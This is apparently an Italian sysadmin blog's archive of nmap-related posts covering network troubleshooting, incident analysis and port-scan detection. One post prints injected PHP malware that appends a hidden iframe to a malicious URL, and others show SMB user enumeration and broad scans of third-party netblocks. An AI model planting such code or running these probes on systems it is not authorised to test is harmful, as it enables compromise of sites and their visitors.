Archivi tag: nmap

Gli IP Plan non aggiornati

In un ambiente enterprise mantenere un IP plan aggiornato è un’operazione alquanto ardua (soprattutto se coloro che devono gestire l’infrastruttura IT sono dislocati su sedi diverse).

 

networking.jpg

Quello che mi è capitato di recente mi ha fatto capire quanto un IP plan attendibile possa essere importante. Nello specifico, dopo aver installato e configurato un nuovo server, ho richiesto un indirizzo IP privato da poter assegnare alla suddetta macchina, senza creare eventuali conflitti con gli altri apparati già in produzione.

La prima cosa che ho fatto è stata quella di consultare l’IP Plan, scegliendo un indirizzo libero. Successivamente ho comunicato l’indirizzo in questione al sistemista network, il quale mi ha confermato la disponibilità dello stesso.

Per scrupolo ho effettuato un ping, il quale non ha fornito alcuna risposta, ergo tutti gli indizi mi lasciavano pensare che l’indirizzo scelto fosse effettivamente disponibile.

Fast forward di 30 minuti: una volta patchata la porta del server ed attestata sulla porta dello switch appartenente alla VLAN di riferimento, ho iniziato a ricevere degli ICMP echo reply a singhiozzo.

Tentando di connettermi via RDP alla suddetta macchina, con mio enorme stupore, ho notato che l’hostname del server su cui ero atterrato era differente da quello da me configurato, ergo vi era già una macchina che utilizzava l’indirizzo IP che credevo libero.

Nuovo giro di telefonate, altri check al volo e finalmente sono riuscito ad individuare un indirizzo IP effettivamente disponibile.

Contromisure

Per non incappare in una simile problematica è necessario aggiungere altri check al semplice ping ed alla consultazione dell’IP plan. Infatti, alcuni SO, quali Windows Server 2008 R2, hanno il firewall embedded configurato in modo da droppare le richieste ICMP. Quindi, per sincerarsi dell’effettiva disponibilità di un indirizzo, occorre dapprima consultare l’arp table dello switch su cui sono attestati i server della farm (generalmente trattasi di un core switch). Tale check va fatto a server disconnesso e partendo dal presupposto che non vi siano degli switch intermedi.

Per i Cisco, il comando da lanciare è il seguente:

Switch# sh arp | i <indirizzo IP>

Se l’arp table non restituisce alcun risultato significa che l’indirizzo IP scelto è libero. Ovviamente, se il server è stato disconnesso immediatamente prima di effettuare il suddetto controllo, è necessario aspettare che scada il cosiddetto aging time delle entry relative alla arp table (che varia in base alla tipologia ed al vendor dello switch, sempre che i valori impostati siano quelli di default).

Successivamente, a server connesso, si potrebbe individuare il MAC address della sua scheda di rete e controllare se l’associazione IP-MAC presente nella tabella ARP contiene il suddetto indirizzo fisico.

Infine, controllando le entry della CAM, ci si può sincerare che il MAC individuato sia stato letto sulla porta dello switch sul quale il server è effettivamente attestato.

Per i Cisco il comando da utilizzare è questo:

Switch# sh mac-address-table | i <indirizzo MAC>

Da notare che il MAC dovrà essere digitato nella forma aaaa.bbbb.cccc

In alternativa a tale procedura (che richiede comunque una certa familiarità con il networking), si potrebbe utilizzare un port scanner, ad esempio nmap.

Esiste anche una versione per Windows, scaricabile da qui, ed il comando da lanciare è il seguente:

nmap -P0 <indirizzo IP>

In particolare, con la flag -P0 sto imponendo al software di non lanciare dei ping preliminari per testare l’effettiva raggiungibilità dell’IP (evitando quindi i falsi negativi), procedendo immediatamente con la scansione delle porte.

State tranquilli, il port scan non è reato se non è seguito da dei tentativi di accesso non autorizzati (verificate comunque le policy aziendali prima di lanciarlo).

E’ tutto. Alla prossima.

Script bash per i port scan su range di IP

Problema

Mancato aggiornamento dell’associazione IP/FQDN (record A DNS) mediante ddclient, che si traduce nell’impossibilità di conoscere il vero indirizzo IP pubblico del server (essendo dinamico).

Possibile soluzione

Conoscendo l’ISP e partendo dal fatto che almeno una porta non standard ( > 1023) è pubblicata all’esterno (ad esempio la TCP 4338) si può procedere con la scansione automatizzata dei netblock appartenenti al nostro Internet Service Provider. Nella fattispecie, l’ISP è Telecom Italia ed alcuni dei netblock ad esso associati sono i seguenti:

79.46.0.0/15
79.56.0.0/16
62.77.32.0/19
62.211.0.0/16
77.238.3.3/19
79.140.80.0/20
80.104.0.0/15
80.116.0.0/15
80.180.0.0/15
80.204.0.0/15
80.241.224.0/20
81.72.0.0/22
81.112.0.0/20
82.48.0.0/20
82.88.0.0/22
82.104.0.0/22
83.175.0.0/18
83.221.96.0/18
89.221.32.0/18
93.186.128.0/20
95.74.0.0/15
95.224.0.0/11
188.8.0.0/13
195.14.96.0/19
195.22.192.0/19
212.171.0.0/16
212.216.0.0/16
213.45.0.0/16
213.144.160.0/19
213.230.128.0/19
217.27.64.0/19
217.169.96.0/20
217.169.112.0/20
217.172.192.0/19
217.200.0.0/14
217.222.0.0/15

E’ possibile inserire la suddetta lista all’interno di un apposito file testuale, chiamandolo semplicemente netblock. Inoltre, i netblock sono oggetto di continui aggiornamenti, ergo prima di procedere sinceratevi che appartengano ancora all’ISP di riferimento (attraverso un semplice whois <netblock>).

Una volta fatto ciò, mediante l’uso di nmap, possiamo realizzare uno script bash che si occupi di scansionare i suddetti range di IP pubblici. Lo script è il seguente:

nightfly@nightbox:~$ cat autoscanner.sh
#!/bin/bash

sourcefile=/home/nightfly/netblock

resfile=/home/nightfly/results

targetfile=/home/nightfly/openports

while read line
do

        nmap -P0 $line -p 4338 >> $resfile

done < $sourcefile

cat $resfile | grep -B2 open >> $targetfile

exit 0;

La logica dello script è questa:

1) viene lanciato uno scan verso ogni singolo range specificato nel file netblock, prendendo in considerazione esclusivamente la porta di destinazione TCP 4338;

2) una volta terminata la scansione vengono cercate tutte le occorrenze del termine open, considerando anche le due righe precedenti ad esso, in modo da ottenere l’IP pubblico degli host su cui la porta in questione risulta in ascolto;

3) a questo punto, supponendo che dietro la porta TCP 4338 vi sia in ascolto un demone SSH, è possibile lanciare delle sessioni Secure SHell verso ciascun IP specificato nel file /home/nightfly/openports. Se a tali tentativi di connessione seguirà una richiesta di login, è molto probabile che il nostro server sia stato effettivamente identificato. Ovviamente, se il login non andrà a buon fine, la macchina che stiamo cercando è un’altra.

Buona scansione.

PS: il port scan, di per se, non è reato, ma potrebbe diventarlo se lo associerete a più tentativi di login non autorizzati. Inoltre, essendo i netblock in questione piuttosto ampi, la scansione richiederà molto tempo.

XSS su WordPress

Negli ultimi tempi si è verificato un aumento esponenziale degli attacchi verso la piattaforma WordPress. Ciò, secondo me, è dovuto essenzialmente a due fattori:

1) Diffusione su larga scala della suddetta piattaforma, che la rende più appetibile ai cracker;

2) Scarsa sensibilizzazione dei webmaster, i quali, troppo presi dalla grafica e dalla stesura del codice lato server, tendono a trascurare pensantemente le patch di sicurezza, solitamente incluse negli aggiornamenti dei plugin e del CMS.

malware.jpg

L’ultimo attacco XSS con cui ho avuto a che fare presentava il seguente codice PHP iniettato in tutte i file index.php:

<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vdmlkaW50ZXguY29tL2luY2x1ZGVzL2NsYXNzLnBvcC5waHAiPjwvaWZyYW1lPjwvZGl2PicpOzwvc2NyaXB0Pg==');} echo $_SERVER["HTTP_HOST"]; ?>

Inoltre, sullo spazio FTP, era presente il seguente file:

google_verify.php

utilizzato un po’ come firma, ovvero per fare in modo che il malware non infettasse il server più volte.

Mediante la decodifica della stringa in Base64 sono riuscito a ricavare questo codice javascrip:

<scrip>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</scrip>

In particolare, esso non fa altro che iniettare un iframe nella pagina vittima. La URL a cui punta l’iframe in questione è:

http://vidintex.com/includes/class.pop.php

la quale, contattata manualmente mediante browser, mi restituisce un bell’errore HTTP 404 (not found). Ciò mi lascia pensare che l’attacco descritto in questo post si sviluppa in due fasi:

1) durante la prima fase vengono compromessi N server (ad esempio attraverso un attacco RFI), che verranno utilizzati come target dell’iframe;

2) successivamente, nella seconda fase, verrà perpetrato l’attacco XSS vero e proprio.

Ergo, quel not found indica semplicemente che uno dei server coinvolti nella prima fase è stato ripulito e patchato. Incuriosito, sono andato a cercare il codice sorgente della pagina class.pop.php, che potete consultare qui. Essa non fa altro che gestire le varie fasi che riguardano la connessione ad un server POP3. Indovinate cosa mi ha restituito un nmap verso vidintex.com?

Starting Nmap 5.00 ( http://nmap.org ) at 2013-01-15 10:28 CET
 Interesting ports on silver.sakma.com (217.113.244.170):
 Not shown: 848 closed ports, 142 filtered ports
 PORT     STATE SERVICE
 21/tcp   open  ftp
 22/tcp   open  ssh
 53/tcp   open  domain
 80/tcp   open  http
 110/tcp  open  pop3
 443/tcp  open  https
 993/tcp  open  imaps
 995/tcp  open  pop3s
 3306/tcp open  mysql
 8443/tcp open  https-alt

ovvero la porta 110 (POP3) è in ascolto sul server. Quindi, mediante questo giochetto, i cracker possono tentare l’accesso al demone di posta ospitato sul server Web, in modo semi-automatizzato e nascondendo le proprie tracce (l’IP sorgente sarà sempre e comunque localhost). Intendo precisare che le mie sono solo congetture, per avere informazioni più dettagliate dovrei studiare ulteriori casi. A tal proposito, se ne avete, fornitemeli (solo se la URL punta a class.pop.php).

Alla prossima.

WI-FI IP camera (made in China) ed il traffico di rete “anomalo”

Che io sia paranoico è risaputo, soprattutto se mi ritrovo ad aver a che fare con hardware made in China. Diciamo anche che nella mia rete tendo a tenere sotto controllo tutto il traffico, sia in entrata che in uscita.

Per farla breve, ho installato questa IP camera WI-FI ed ho iniziato a monitorare, mediante Iptables, tutto il traffico in uscita. Ecco uno stralcio del file di log:

Dec 10 14:04:25 nightbox kernel: [3094903.376462] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=41186 DF PROTO=TCP SPT=3755 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Dec 10 14:10:39 nightbox kernel: [3095278.163044] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=20423 DF PROTO=TCP SPT=4005 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Dec 10 14:10:42 nightbox kernel: [3095281.160190] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=20424 DF PROTO=TCP SPT=4005 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Dec 10 14:16:40 nightbox kernel: [3095639.086794] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=26618 DF PROTO=TCP SPT=4724 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Dec 10 14:16:43 nightbox kernel: [3095642.083772] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=26619 DF PROTO=TCP SPT=4724 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0

In soldoni, ogni 6 minuti (per un certo lasso di tempo), il giocattolino in questione provava a contattare l’IP 58.61.155.158 sulla porta 80. Per far cosa, poi?

Per capirci qualcosa in più ho deciso di effettuare una query DNS inversa mediante il comando host:

nightfly@nightbox:~$ host 58.61.155.158
Host 158.155.61.58.in-addr.arpa. not found: 3(NXDOMAIN)

Uhm, not found, brutto segno. Quindi ho eseguito un whois:

nightfly@nightbox:~$ whois 58.61.155.158
% [whois.apnic.net node-4]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

inetnum:        58.61.155.152 - 58.61.155.167
netname:        shenzhenshirongdaxinxijishuyoux
descr:          shenzhenshilonggangqubujizhenbaolinglonggangdianxinfenjuIDCjifang¡£
country:        CN
admin-c:        SZ-AP
tech-c:         IC83-AP
mnt-by:         MAINT-CHINANET-GD
changed:        gdtel_ipreg@163.com 20100108
status:         Allocated non-portable
source:         APNIC

person:         SHENZHEN WANJIAN
address:        Communication Bldg, No.48 Yi Tian Rd., Futian Shenzhen, China
country:        CN
phone:          +86-755-28812000
e-mail:         ipadm@gddc.com.cn
remarks:        IPMASTER is not for spam complaint,please send spam complaint to abuse@gddc.com.cn
nic-hdl:        SZ-AP
mnt-by:         MAINT-CHINANET-GD
changed:        CHENYIQ@GSTA.COM 20080328
source:         APNIC

person:         IPMASTER CHINANET-GD
nic-hdl:        IC83-AP
e-mail:         ipadm@189.cn
address:        NO.1,RO.DONGYUANHENG,YUEXIUNAN,GUANGZHOU
phone:          +86-20-83877223
fax-no:         +86-20-83877223
country:        CN
changed:        ipadm@189.cn 20110418
mnt-by:         MAINT-CHINANET-GD
remarks:        IPMASTER is not for spam complaint,please send spam complaint to abuse_gdnoc@189.cn
abuse-mailbox:  abuse_gdnoc@189.cn
source:         APNIC

Ok, in realtà stava contattando un server cinese. Un portscan stealth mi ha restituito questo output:

nightfly@nightbox:/etc/apache2$ sudo nmap -sS 58.61.155.158

Starting Nmap 5.00 ( http://nmap.org ) at 2012-12-09 20:48 CET
Interesting ports on 58.61.155.158:
Not shown: 992 filtered ports
PORT     STATE  SERVICE
21/tcp   closed ftp
25/tcp   closed smtp
53/tcp   open   domain
80/tcp   open   http
110/tcp  closed pop3
1433/tcp closed ms-sql-s
5631/tcp open   pcanywheredata
8888/tcp open   sun-answerbook

Check veloce sulla porta 80, su cui gira una pagina in ASP (ecco lo screenshot):

ipcamera.png

Quale account non esiste? La pagina di configurazione dell’aggeggio non ha nessun form di registrazione, quindi di cosa stiamo parlando?

Altro check, stavolta sulla 8888:

ipcamera2.png

Porta differente, ma identico risultato.

I fantastici costruttori cinesi hanno pensato bene di mettere in ascolto quel server su due differenti porte, poichè spesso e volentieri la porta 80 in uscita è filtrata (proxy?).

Per andare ancora più a fondo alla questione ho deciso di usare uno sniffer, ovvero tcpdump:

22:30:16.159916 IP google-public-dns-a.google.com.domain > guest1.mialan.org.3076: 797 1/0/0 A 58.61.155.158 (47)
E..K; ../.5m....
....5...7Z..............www.nwsvr.com..............'..:=..
22:30:16.161941 IP 10.1.x.x.3718 > 58.61.155.158.www: Flags [S], seq 1520784463, win 5840, options [mss 1460,sackOK,TS val 464$
E..<..@.@...
...:=.....PZ.TO...................
.F..........

Non sembrava che venissero inviate informazioni sensibili (aka password di account email ed FTP), ma piuttosto sembrava del semplice polling.

Qualcosa di utile tcpdump però l’ha fatto, ovvero mi ha rilevato l’hostname dell’IP 58.61.155.158, ovvero www.nwsvr.com, il cui whois è il seguente:

Registrant:
  Organization   : shenzhenshi hui yan shi xun dian zi you xian gong si
  Name           : LuoYingchun
  Address        : 6 northern zone,shangxuekejicheng, shenzhen ,china
  City           : shenshi
  Province/State : guangdongsheng
  Country        : china
  Postal Code    : 518000

Administrative Contact:
  Name           : LuoYingchun
  Organization   : Luo yingchun
  Address        : 6 northern zone,shangxuekejicheng, shenzhen ,china
  City           : shenzhen
  Province/State : Guangdong
  Country        : CN
  Postal Code    : 518000
  Phone Number   : 86-755-26988288
  Fax            : 86-755-26988233
  Email          : robbi_luo@163.com

Technical Contact:
  Name           : LuoYingchun
  Organization   : Luo yingchun
  Address        : 6 northern zone,shangxuekejicheng, shenzhen ,china
  City           : shenzhen
  Province/State : Guangdong
  Country        : CN
  Postal Code    : 518000
  Phone Number   : 86--83333333
  Fax            : 86--83333333
  Email          : robbi_luo@163.com

Billing Contact:
  Name           : LuoYingchun
  Organization   : Luo yingchun
  Address        : 6 northern zone,shangxuekejicheng, shenzhen ,china
  City           : shenzhen
  Province/State : Guangdong
  Country        : CN
  Postal Code    : 518000
  Phone Number   : 86--83333333
  Fax            : 86--83333333
  Email          : robbi_luo@163.com

Alla fine ho scoperto che si trattava di un servizio di DDNS. Ho spulciato le configurazioni dell’IP camera e mi sono ritrovato questo settaggio abilitato (di default):

 

ipcamera3.png

Ovvero, l’aggeggino non faceva altro che tentare di comunicare al server (cinese) l’indirizzo IP pubblico della mia WAN. E con la privacy come la mettiamo?

Ho tolto la spunta ed il traffico “anomalo” ha cessato di esistere.

Alla prossima.

Il lunedì mattina ed il PenTest non richiesto

E’ un lunedì mattina standard, e per standard intendo “voglia di fare pari a -infinito”. Mentre mi dirigo a lavoro sento vibrare lo smartphone. Accosto, rapida occhiata alle email e mi ritrovo tutta una serie di messaggi generati da swatch che mi segnalano dei tentativi di login FTP falliti.

scan, nmap, vulnerability, ftp, anonymous, metasploit

Uhm, “il classico cinese”, dico io, anche a giudicare dall’indirizzo IP sorgente, che a primo acchito sembra tutto fuorchè italiano.

Nulla di insolito quindi, metto la freccia e riparto. Purtroppo, però, ripartono anche le email di swatch.

Fast forward di un’ora e mezza (circa). Arrivo a lavoro, accendo il mio laptop, mi connetto via SSH su uno dei miei server a lancio un nmap verso l’IP sorgente dell’attacco. Ecco il risultato:

nightfly@nightbox:~$ sudo nmap -sS 216.17.107.174
[sudo] password for nightfly:

Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-28 09:21 CEST
Interesting ports on 216.17.107.174:
Not shown: 855 closed ports, 144 filtered ports
PORT   STATE SERVICE
80/tcp open  http

Apro il browser, accedo al suddetto sito mi ritrovo una home page il cui contenuto è il seguente:

 To Whom It May ConcernThis system is coordinating an internet-wide survey of open TCP ports, service banners, SNMP system descriptions, and NetBIOS name queries. The results of this survey will be used to uncover systematic vulnerabilities in the equipment provided by ISPs to their customers. My goal is to collect this information, determine which ISPs are exposing their customers to internet-based attacks, and contact those ISPs with my findings. If you would like to have your network excluded from this scan, please send an email to admin@critical.io. Please include a list of netblocks or at the least the domain name or ASN that you would like excluded. If you are concerned about what an attacker can discover about your network using these types of probes, there are great free tools such as Metasploit and Nmap that can be used to gather this information on your own.- HD Moore

(omissis)

Ora, non vorrei sollevare troppe polemiche in merito, ma è necessario usare Metasploit per tentare un login FTP anonimo oppure utilizzando come username ftp e come password <password>? Non ci credete? Ecco la prova:

nightfly@navigare-server:~$ cat /var/log/vsftpd.log | grep 216.17.107.174
 Mon May 28 07:23:13 2012 [pid 14837] CONNECT: Client "216.17.107.174"
 Mon May 28 07:23:13 2012 [pid 14837] FTP response: Client "216.17.107.174", "220                                                                                         Welcome to E.T.M. FTP service."
 Mon May 28 07:23:13 2012 [pid 14837] FTP command: Client "216.17.107.174", "USER                                                                                         ftp"
 Mon May 28 07:23:13 2012 [pid 14837] [ftp] FTP response: Client "216.17.107.174"                                                                                        , "331 Please specify the password."
 Mon May 28 07:23:14 2012 [pid 14837] [ftp] FTP command: Client "216.17.107.174",                                                                                         "PASS <password>"
 Mon May 28 07:23:16 2012 [pid 14836] [ftp] FAIL LOGIN: Client "216.17.107.174"
 Mon May 28 07:23:17 2012 [pid 14837] [ftp] FTP response: Client "216.17.107.174"                                                                                        , "530 Login incorrect."
 Mon May 28 07:23:17 2012 [pid 14837] FTP command: Client "216.17.107.174", "HELP                                                                                        "
 Mon May 28 07:23:17 2012 [pid 14837] FTP response: Client "216.17.107.174", "530                                                                                         Please login with USER and PASS."
 Mon May 28 07:23:17 2012 [pid 14837] FTP command: Client "216.17.107.174", "QUIT                                                                                        "
 Mon May 28 07:23:17 2012 [pid 14837] FTP response: Client "216.17.107.174", "221                                                                                         Goodbye."

Morale della favola: su Internet ci sono troppi millantatori che si spacciano per esperti di sicurezza informatica e sinceramente credo che questi white scrip kiddie dovrebbero smetterla di rompere le balle.

Alla prossima.

User enumeration mediante nmap

Scenario

Macchina Windows in ascolto sulla porta 3389 TCP (Il famoso Remote Desktop).

Password dell’account RDP nota, nome utente sconosciuto.

user-enumeration-mediante-nmap-L-gnHMmvSoluzione

Utilizzare nmap.

Vediamo, nello specifico, qual è il comando da lanciare:

nightfly@nightbox:/usr/share/nmap/nselib$ sudo nmap -sT -p445 --scrip=smb-enum-users <IP macchina Windows>

Come potete notare ho specificato ad nmap lo l’addon da utilizzare, la porta di destinazione (TCP 445, alias SMB) ed il tipo di scan (-sT).
L’outuput sarà simile al seguente:

Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-02 10:38 CEST
Interesting ports on 192.168.*.*:
PORT   STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: E0:CB:*:*:*:* (Unknown)
Host script results:
|  smb-enum-users:
|_ *Administrator, *Guest, *HelpAssistant,*HelpServicesGroup, *Nessuno
Nmap done: 1 IP address (1 host up) scanned in 0.44 seconds

Enjoy.

Analisi di un attacco di phishing

Ormai stressato dalle n-mila email di phishing che puntualmente superano i filtri antispam, ho deciso di fare chiarezza su questa tipologia di attacco/truffa analizzando un caso specifico.

In particolare, l’email incriminata è la seguente:

Gentile Cliente,

la informiamo che e’ disponibile on-line  il suo estratto conto (riferito al codice del rapporto 05336-1999): potra’ consultarlo, stamparlo e salvarlo sul suo PC per creare un suo archivio personalizzato.

Le ricordiamo che ogni estratto conto rimane in linea fino al terzo mese successivo all’emissione.

Grazie ancora per aver scelto i servizi on-line di CartaSi.
I migliori saluti.

Servizio Clienti CartaSi

****************************************************************
VUOLE CONTESTARE SU UNA SPESA?
Easy Claim e il servizio che fa per lei!

****************************************************************
Per favore, non rispondere a questa mail: per eventuali comunicazioni accedi alla tua area riservata del Sito Internet di CartaSi e scrivici attraverso “Lo sportello del Cliente”:
e il modo piu semplice per ottenere una rapida risposta dai nostri operatori. Grazie per la collaborazione.

Bene, da un’analisi dell’header relativo al suddetto messaggio di posta elettronica si possono evincere diverse informazioni interessanti, tra cui indirizzo IP sorgente del messaggio ed il server SMTP da cui è partito l’inoltro, rispettivamente 37.59.204.181juodenas.com.

Per completezza, ecco la parte dell’intestazione a cui mi riferisco:

from User (unknown [37.59.204.181]) by juodenas.com (Postfix) with ESMTPA id CC72D7EE4335; Wed, 25 Apr 2012 16:21:48 +0400 (MSK)

Il from User (unknown [37.59.204.181]) mi lascia pensare che joudenas.com sia in realtà un open relay. Per averne la certezza ho provato ad inviare un messaggio fittizio alla mia casella di posta, usando la classica CLI via Telnet.

Per identificare l’MTA associato al dominio joudenas.com ho lanciato la seguente query con dig:

nightfly@nightbox:~$ dig juodenas.com mx

il cui output è il seguente:

; <<>> DiG 9.7.0-P1 <<>> juodenas.com mx
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42081
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 13, ADDITIONAL: 1

;; QUESTION SECTION:
;juodenas.com.                  IN      MX

;; ANSWER SECTION:
juodenas.com.           3383    IN      MX      10 juodenas.com.

;; AUTHORITY SECTION:
.                       86593   IN      NS      g.root-servers.net.
.                       86593   IN      NS      c.root-servers.net.
.                       86593   IN      NS      a.root-servers.net.
.                       86593   IN      NS      f.root-servers.net.
.                       86593   IN      NS      i.root-servers.net.
.                       86593   IN      NS      e.root-servers.net.
.                       86593   IN      NS      b.root-servers.net.
.                       86593   IN      NS      k.root-servers.net.
.                       86593   IN      NS      l.root-servers.net.
.                       86593   IN      NS      j.root-servers.net.
.                       86593   IN      NS      h.root-servers.net.
.                       86593   IN      NS      d.root-servers.net.
.                       86593   IN      NS      m.root-servers.net.

;; ADDITIONAL SECTION:
juodenas.com.           3581    IN      A       79.98.31.21

;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Thu Apr 26 09:12:42 2012
;; MSG SIZE  rcvd: 273

Ok, niente server MX specifico. L’unico record che può tornarmi utile è

juodenas.com.           3581    IN      A       79.98.31.21

quindi effettuo una query inversa (PTR) sull’IP 79.98.31.2

nightfly@nightbox:~$ host  79.98.31.21
21.31.98.79.in-addr.arpa domain name pointer server.juodenas.com.

Abbiamo finalmente un FQDN, ergo andiamo di nmap:

nightfly@nightbox:~$ sudo nmap -sS server.juodenas.com

Starting Nmap 5.00 ( http://nmap.org ) at 2012-04-26 09:39 CEST
Interesting ports on server.juodenas.com (79.98.31.21):
Not shown: 848 closed ports, 143 filtered ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
25/tcp  open  smtp
53/tcp  open  domain
80/tcp  open  http
110/tcp open  pop3
443/tcp open  https
993/tcp open  imaps
995/tcp open  pop3s

Bene, ecco quello che mi interessa:

25/tcp  open  smtp

Sessione Telnet sulla porta 25 e proviamo ad inviare un messaggio di posta fittizio:

nightfly@nightbox:~$ telnet server.juodenas.com 25
Trying 79.98.31.21...
Connected to server.juodenas.com.
Escape character is '^]'.
220 juodenas.com ESMTP Postfix powered by Easy Hosting Control Panel (ehcp) on Ubuntu, www.ehcp.net
helo juodenas.com
250 juodenas.com
mail from: bobovieri@email.it
250 2.1.0 Ok
rcpt to: prova@email.it
554 5.7.1 <prova@email.it>: Relay access denied

Niente da fare, diversamente da quel che pensavo, non si tratta di un open relay. 

Vediamo se riesco a recuperare qualche informazione aggiuntiva mediante un whois:

nightfly@fw-scar:~$ whois juodenas.com

Whois Server Version 2.0

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

   Domain Name: JUODENAS.COM
   Registrar: TUCOWS.COM CO.
   Whois Server: whois.tucows.com
   Referral URL: http://domainhelp.opensrs.net
   Name Server: NS1.SERVERIAI.LT
   Name Server: NS2.SERVERIAI.LT
   Name Server: NS3.SERVERIAI.LT
   Name Server: NS4.SERVERIAI.LT
   Status: ok
   Updated Date: 06-feb-2012
   Creation Date: 05-mar-2010
   Expiration Date: 05-mar-2013

>>> Last update of whois database: Thu, 26 Apr 2012 08:06:00 UTC <<<

The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.
Registrant:
 Gytis Juodenas
 Taikos g. 79-76
 Vilnius,  -
 LT

 Domain name: JUODENAS.COM

 Administrative Contact:
    Hostmaster, IV  hostmaster@iv.lt
    J. Kubiliaus g. 6
    Vilnius,  08234
    LT
    +370.52324444
 Technical Contact:
    Hostmaster, IV  hostmaster@iv.lt
    J. Kubiliaus g. 6
    Vilnius,  08234
    LT
    +370.52324444

 Registrar of Record: TUCOWS, INC.
 Record last updated on 06-Feb-2012.
 Record expires on 05-Mar-2013.
 Record created on 05-Mar-2010.

 Registrar Domain Name Help Center:
    http://tucowsdomains.com

 Domain servers in listed order:
    NS2.SERVERIAI.LT
    NS4.SERVERIAI.LT
    NS3.SERVERIAI.LT
    NS1.SERVERIAI.LT

 Domain status: ok

e successivamente proviamo a contattare il server mediante protocollo HTTP:

http://www.juodenas.com/

Uhm, trattasi di un sito di grafica. Mi sa che questi cracker sono riusciti a caricare sul server in questione del codice (ad esempio PHP) in grado di aggirare le restrazioni di Postfix. 

Adesso dedichiamoci alla macchina sorgente dell’attacco. Per prima cosa vediamo quali servizi sono pubblicati all’esterno:

nightfly@nightbox:~$ nmap 37.59.204.181

Starting Nmap 5.00 ( http://nmap.org ) at 2012-04-26 10:41 CEST
Interesting ports on 37.59.204.181:
Not shown: 855 closed ports, 143 filtered ports
PORT     STATE SERVICE
1025/tcp open  NFS-or-IIS
3389/tcp open  ms-term-serv

Nmap done: 1 IP address (1 host up) scanned in 122.29 seconds

RDP è attivo, provo a lanciare una sessione dalla mia macchina:

rdp.png

Windows Server 2003 R2. Ecco da quale host partono le sessioni verso si server SMTP vittima.

Proviamo una query PTR:

nightfly@nightbox:~$ host  37.59.204.181
Host 181.204.59.37.in-addr.arpa. not found: 3(NXDOMAIN)

Niente da fare. Proviamo con un tracert:

C:\Users\eldo>tracert 37.59.204.181

Traccia instradamento verso XEVOHOST-067B7A [37.59.204.181]
su un massimo di 30 punti di passaggio:

  1     2 ms     1 ms     2 ms  * *
  2     *        *        *     Richiesta scaduta.
  3     *        *       41 ms  host45-66-static.41-88-b.business.telecomitalia.
it [88.41.66.45]
  4    43 ms    42 ms    43 ms  217.141.251.206
  5    64 ms    50 ms    50 ms  172.17.4.53
  6    62 ms    62 ms    62 ms  172.17.10.189
  7    61 ms    60 ms    60 ms  172.17.10.81
  8    62 ms    63 ms    63 ms  pos1-11-0-0.milano26.mil.seabone.net [195.22.192
.85]
  9    61 ms    61 ms    66 ms  te8-2.milano52.mil.seabone.net [195.22.205.241]

 10    62 ms     *      178 ms  mil-1-6k.it.eu [91.121.131.17]
 11    72 ms     *       84 ms  fra-1-6k.de.eu [213.251.128.66]
 12    80 ms    81 ms    81 ms  rbx-g1-a9.fr.eu [91.121.131.193]
 13    81 ms   285 ms   274 ms  vss-3-6k.fr.eu [94.23.122.237]
 14    81 ms    82 ms    81 ms  XEVOHOST-067B7A [37.59.204.181]

Traccia completata.

Ho individuato anche l’hosting provider, ovvero xevohosting.it. Esso offre un servizio un po’ “strano”, in quanto rimbalza i propri account su VPS gestiti da altri hosting provider. Ne è l’esempio lampante l’IP di destinazione della VPS, che fa riferimento ad un netblock made in France, ovvero OVH:

37.59.204.181
IP: 37.59.204.181
server location: France
ISP: Ovh Systems

Bene, basta così: segnalo l’abuso ad OVH ed informo il sysadmin di juodenas.com di quanto avvenuto.

Alla prossima.

PSAD: individuare i port scan diretti ai nostri server

PSAD (Port Scan Attack Detector), è un software utile ed abbastanza robusto, in grado di individuare l’indirizzo IP sorgente di un eventuale attacco port scan lanciato verso i nostri server. Nella fattispecie, in questo post illustrerò come installarlo e configurarlo.

 

psad,nmap,portscan attack,iptables,logging

 

Procediamo dunque con l’installazione del pacchetto citato in precedenza, digitando:

nightfly@nightbox:~$ sudo apt-get install psad

Poichè tale software si basa sui log generati da iptables, è necessario che sul nostro server siano attive le seguenti regole di firewalling:

iptables -A INPUT -j LOG
iptables -A FORWARD -j LOG

